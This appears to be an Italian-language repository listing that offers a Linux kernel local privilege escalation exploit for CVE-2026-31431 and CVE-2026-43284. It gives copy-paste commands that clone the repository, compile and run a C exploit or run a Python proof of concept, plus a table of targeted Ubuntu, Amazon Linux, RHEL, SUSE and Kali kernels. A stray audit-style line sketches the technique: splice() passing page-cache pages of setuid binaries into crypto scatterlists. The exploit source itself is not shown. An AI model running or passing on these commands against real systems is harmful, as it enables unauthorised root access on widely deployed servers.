6abc/copy-fail-cve-2026-31431-dirty-frag-cve-2026-43284Exploit di escalation locale dei privilegi per le CVE del kernel Linux CVE-2026-31431 e CVE-2026-43284, con codice proof-of-concept in C e Python che mira a più distribuzioni e versioni del kernel.
git clone https://github.com/6abc/Copy-Fail-CVE-2026-31431-dirty-frag-CVE-2026-43284.git && cd Copy-Fail-CVE-2026-31431-dirty-frag-CVE-2026-43284 && gcc -O0 -Wall -o exp exp.c -lutil && ./exp
git clone https://github.com/6abc/Copy-Fail-CVE-2026-31431-dirty-frag-CVE-2026-43284.git && cd Copy-Fail-CVE-2026-31431-dirty-frag-CVE-2026-43284 && python copy-fail-CVE-2026-31431.py
gcc -O0 -Wall -o exp exp.c -lutil && ./exp
python copy-fail-CVE-2026-31431.py
git clone https://github.com/6abc/Copy-Fail-CVE-2026-31431-dirty-frag-CVE-2026-43284.git && gcc -O0 -Wall -o exp exp.c -lutil && ./exp
| Distro | Versione |
|---|---|
| Ubuntu 24.04 LTS | 6.17.0-1007-aws |
| Amazon Linux 2023 | 6.18.8-9.213.amzn2023 |
| RHEL 10.1 | 6.12.0-124.45.1.el10_1 |
Questo è il sottosistema linux crypto/. Esamina tutti i percorsi di codice raggiungibili dalle syscall dello spazio utente. Nota un'osservazione chiave: splice() può fornire riferimenti della page-cache di file di sola lettura (inclusi i binari setuid) alle scatterlist di crypto TX.
https://github.com/user-attachments/assets/039ae419-28dc-41d2-bda5-83cd4b9c88ac
| SUSE 16 | 6.12.0-160000.9-default |
| Linux kali | 6.19.11-1kali1 |